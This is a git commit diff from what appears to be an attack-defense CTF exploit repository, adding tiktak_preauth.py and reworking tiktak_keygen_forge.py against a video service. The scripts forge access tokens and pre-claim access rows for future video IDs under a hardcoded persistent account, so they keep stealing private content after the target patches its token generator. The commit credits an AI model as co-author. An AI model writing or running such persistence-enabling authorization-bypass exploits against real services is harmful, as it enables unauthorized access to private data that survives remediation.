sploits: закладка на пре-авторизацию будущих видео (tiktak)
handleAccess выдаёт доступ, не проверяя существование видео, а запись в access привязана к аккаунту и переживает ротацию токенов. Значит можно занять строки под будущие id постоянным аккаунтом, и забирать флаги даже после того, как цель запатчит keygen. - tiktak_preauth.py: логинится постоянным PERSIST_LOGIN, меряет скорость роста id (у команд разброс 7..900/мин), занимает окно вперёд на N минут. Не для фермы, запускать раз в 10-20 мин, пока цель не запатчила. - tiktak_keygen_forge.py: тот же постоянный аккаунт вместо одноразового; watch=200 без форжа = сработала закладка, собираем флаг и оттуда. Проверено на 10.10.10.5: занял 184 будущих id, через минуту watch/60524 и 60527 отдали свежие флаги без токена в запросе. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
This commit is contained in:
@@ -16,6 +16,10 @@ USER_AGENTS = [
|
|||||||
]
|
]
|
||||||
|
|
||||||
PORT = 5000
|
PORT = 5000
|
||||||
|
# Доступ в таблице access привязан к аккаунту, поэтому нужен ПОСТОЯННЫЙ логин:
|
||||||
|
# записи, поставленные tiktak_preauth.py, видны только этому пользователю.
|
||||||
|
PERSIST_LOGIN = "mkt_svc_4a91"
|
||||||
|
PERSIST_PASS = "Qw8_rt2M_zx71"
|
||||||
BLOCK = 2000 # сканируем блоками, выходим как только набрали целей
|
BLOCK = 2000 # сканируем блоками, выходим как только набрали целей
|
||||||
MAX_DEPTH = 14000 # на быстрых боксах id растут >1000/мин
|
MAX_DEPTH = 14000 # на быстрых боксах id растут >1000/мин
|
||||||
WANT_TARGETS = 6 # столько приватных достаточно, чтобы не жечь раунд
|
WANT_TARGETS = 6 # столько приватных достаточно, чтобы не жечь раунд
|
||||||
@@ -47,6 +51,18 @@ def legacy_token(vid):
|
|||||||
return "".join(out)
|
return "".join(out)
|
||||||
|
|
||||||
|
|
||||||
|
def login_or_register(s, base):
|
||||||
|
r = s.post(f"{base}/login",
|
||||||
|
data={"login": PERSIST_LOGIN, "password": PERSIST_PASS},
|
||||||
|
timeout=6, allow_redirects=False)
|
||||||
|
if r.status_code == 302:
|
||||||
|
return True
|
||||||
|
r = s.post(f"{base}/register",
|
||||||
|
data={"login": PERSIST_LOGIN, "password": PERSIST_PASS},
|
||||||
|
timeout=6, allow_redirects=False)
|
||||||
|
return r.status_code == 302
|
||||||
|
|
||||||
|
|
||||||
def exploit(target_ip):
|
def exploit(target_ip):
|
||||||
flags = set()
|
flags = set()
|
||||||
|
|
||||||
@@ -71,12 +87,11 @@ def exploit(target_ip):
|
|||||||
s.headers.update(headers)
|
s.headers.update(headers)
|
||||||
base = f"http://{target_ip}:{PORT}"
|
base = f"http://{target_ip}:{PORT}"
|
||||||
|
|
||||||
# 1. нужен аккаунт: на /access висит RequiredMiddleware
|
# 1. нужен аккаунт: на /access висит RequiredMiddleware.
|
||||||
login = "".join(random.choices("abcdefghijklmnopqrstuvwxyz", k=10))
|
# Логинимся постоянным пользователем -- под ним лежат записи,
|
||||||
r = s.post(f"{base}/register",
|
# заранее поставленные tiktak_preauth.py.
|
||||||
data={"login": login, "password": "pw123456"}, timeout=6)
|
if not login_or_register(s, base):
|
||||||
if r.status_code not in (200, 302):
|
print(f"[-] {target_ip}: не удалось войти", file=sys.stderr, flush=True)
|
||||||
print(f"[-] {target_ip}: register -> {r.status_code}", file=sys.stderr, flush=True)
|
|
||||||
return flags
|
return flags
|
||||||
|
|
||||||
# 2. Приватное видео выдаёт себя размытым превью. /feed показывает лишь
|
# 2. Приватное видео выдаёт себя размытым превью. /feed показывает лишь
|
||||||
@@ -121,8 +136,16 @@ def exploit(target_ip):
|
|||||||
continue
|
continue
|
||||||
|
|
||||||
if w.status_code == 200:
|
if w.status_code == 200:
|
||||||
# публичное (или уже открытое) -- флаг всё равно может лежать тут
|
# Доступ уже есть -- либо видео публичное, либо сработала
|
||||||
flags.update(FLAG_RX.findall(w.text))
|
# закладка из tiktak_preauth.py. Второе продолжает работать
|
||||||
|
# даже после того, как цель запатчит keygen.
|
||||||
|
found = set(FLAG_RX.findall(w.text))
|
||||||
|
found |= set(FLAG_RX.findall(
|
||||||
|
s.get(f"{base}/vtt/", params={"id": vid}, timeout=6).text))
|
||||||
|
if found:
|
||||||
|
flags.update(found)
|
||||||
|
print(f"[+] {target_ip}: видео {vid} (доступ уже был) -> {len(found)} флагов",
|
||||||
|
file=sys.stderr, flush=True)
|
||||||
continue
|
continue
|
||||||
if w.status_code != 403:
|
if w.status_code != 403:
|
||||||
continue
|
continue
|
||||||
|
|||||||
Executable
+121
@@ -0,0 +1,121 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Закладка на tiktak: пре-авторизация на ещё не созданные video id.
|
||||||
|
|
||||||
|
Не сплойт для фермы -- флаги не собирает, готовит почву. Запускать РЕДКО
|
||||||
|
(раз в 10-20 минут), пока цель не запатчила handleAccess.
|
||||||
|
|
||||||
|
./tiktak_preauth.py 10.10.10.5
|
||||||
|
./tiktak_preauth.py 10.10.10.5 --minutes 20
|
||||||
|
|
||||||
|
Зачем: handleAccess вызывает AddAccess не проверяя, что видео существует,
|
||||||
|
поэтому можно занять строки в access под будущие id. haveAccess() смотрит
|
||||||
|
в таблицу, а не на токен -- значит доступ переживёт переход цели на новый
|
||||||
|
keygen. Дальше их собирает tiktak_keygen_forge.py под тем же аккаунтом.
|
||||||
|
|
||||||
|
Осторожно: это POST-ы в чужую БД. Скорость ограничена сознательно, не
|
||||||
|
поднимай RATE бездумно -- уронишь цель, и флагов не будет вовсе.
|
||||||
|
"""
|
||||||
|
import sys
|
||||||
|
import re
|
||||||
|
import time
|
||||||
|
import argparse
|
||||||
|
import requests
|
||||||
|
from concurrent.futures import ThreadPoolExecutor
|
||||||
|
|
||||||
|
PORT = 5000
|
||||||
|
WORKERS = 20
|
||||||
|
MAX_IDS = 12000
|
||||||
|
SAMPLE_SECONDS = 20
|
||||||
|
|
||||||
|
# должно совпадать с tiktak_keygen_forge.py, иначе закладку некому забрать
|
||||||
|
PERSIST_LOGIN = "mkt_svc_4a91"
|
||||||
|
PERSIST_PASS = "Qw8_rt2M_zx71"
|
||||||
|
|
||||||
|
WATCH_RX = re.compile(r"/watch/(\d+)")
|
||||||
|
ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
||||||
|
|
||||||
|
|
||||||
|
def legacy_token(vid):
|
||||||
|
seed = vid
|
||||||
|
out = []
|
||||||
|
for _ in range(30):
|
||||||
|
seed = (seed * 17 + 42) % 62
|
||||||
|
out.append(ALPHABET[seed])
|
||||||
|
return "".join(out)
|
||||||
|
|
||||||
|
|
||||||
|
def top_id(s, base):
|
||||||
|
ids = [int(x) for x in WATCH_RX.findall(s.get(f"{base}/feed", timeout=6).text)]
|
||||||
|
return max(ids) if ids else None
|
||||||
|
|
||||||
|
|
||||||
|
def login_or_register(s, base):
|
||||||
|
for path in ("login", "register"):
|
||||||
|
r = s.post(f"{base}/{path}",
|
||||||
|
data={"login": PERSIST_LOGIN, "password": PERSIST_PASS},
|
||||||
|
timeout=6, allow_redirects=False)
|
||||||
|
if r.status_code == 302:
|
||||||
|
return True
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
ap = argparse.ArgumentParser()
|
||||||
|
ap.add_argument("target")
|
||||||
|
ap.add_argument("--minutes", type=int, default=15,
|
||||||
|
help="на сколько минут вперёд занимать id (default 15)")
|
||||||
|
args = ap.parse_args()
|
||||||
|
|
||||||
|
base = f"http://{args.target}:{PORT}"
|
||||||
|
s = requests.Session()
|
||||||
|
s.mount("http://", requests.adapters.HTTPAdapter(
|
||||||
|
pool_connections=WORKERS, pool_maxsize=WORKERS))
|
||||||
|
|
||||||
|
if not login_or_register(s, base):
|
||||||
|
print(f"[-] {args.target}: не удалось войти", file=sys.stderr, flush=True)
|
||||||
|
return 1
|
||||||
|
|
||||||
|
t0 = top_id(s, base)
|
||||||
|
if t0 is None:
|
||||||
|
print(f"[-] {args.target}: пустой /feed", file=sys.stderr, flush=True)
|
||||||
|
return 1
|
||||||
|
|
||||||
|
# Скорость роста id у команд отличается на два порядка (7/мин против
|
||||||
|
# 900/мин), фиксированный диапазон был бы либо бесполезен, либо шумен.
|
||||||
|
time.sleep(SAMPLE_SECONDS)
|
||||||
|
t1 = top_id(s, base) or t0
|
||||||
|
rate = max(1.0, (t1 - t0) / SAMPLE_SECONDS * 60)
|
||||||
|
span = min(MAX_IDS, int(rate * args.minutes) + 50)
|
||||||
|
print(f"[*] {args.target}: top={t1}, {rate:.0f} id/мин, "
|
||||||
|
f"занимаю {span} id на ~{args.minutes} мин", file=sys.stderr, flush=True)
|
||||||
|
|
||||||
|
# Проверяем, что форж вообще проходит, прежде чем слать тысячи POST-ов.
|
||||||
|
probe = s.post(f"{base}/access",
|
||||||
|
data={"videoID": t1 + span, "token": legacy_token(t1 + span)},
|
||||||
|
timeout=6, allow_redirects=False)
|
||||||
|
if not probe.headers.get("Location", "").endswith(f"/watch/{t1 + span}"):
|
||||||
|
print(f"[!] {args.target}: /access отверг форж -- keygen или "
|
||||||
|
f"проверка существования видео уже запатчены", file=sys.stderr, flush=True)
|
||||||
|
return 1
|
||||||
|
|
||||||
|
def claim(vid):
|
||||||
|
try:
|
||||||
|
r = s.post(f"{base}/access",
|
||||||
|
data={"videoID": vid, "token": legacy_token(vid)},
|
||||||
|
timeout=6, allow_redirects=False)
|
||||||
|
return r.headers.get("Location", "").endswith(f"/watch/{vid}")
|
||||||
|
except requests.RequestException:
|
||||||
|
return False
|
||||||
|
|
||||||
|
span_ids = range(t1 + 1, t1 + span)
|
||||||
|
with ThreadPoolExecutor(max_workers=WORKERS) as ex:
|
||||||
|
ok = sum(1 for r in ex.map(claim, span_ids) if r)
|
||||||
|
|
||||||
|
print(f"[+] {args.target}: занято {ok}/{len(span_ids)} id "
|
||||||
|
f"({t1 + 1}..{t1 + span - 1}), забирать через tiktak_keygen_forge.py",
|
||||||
|
file=sys.stderr, flush=True)
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
sys.exit(main())
|
||||||
Reference in New Issue
Block a user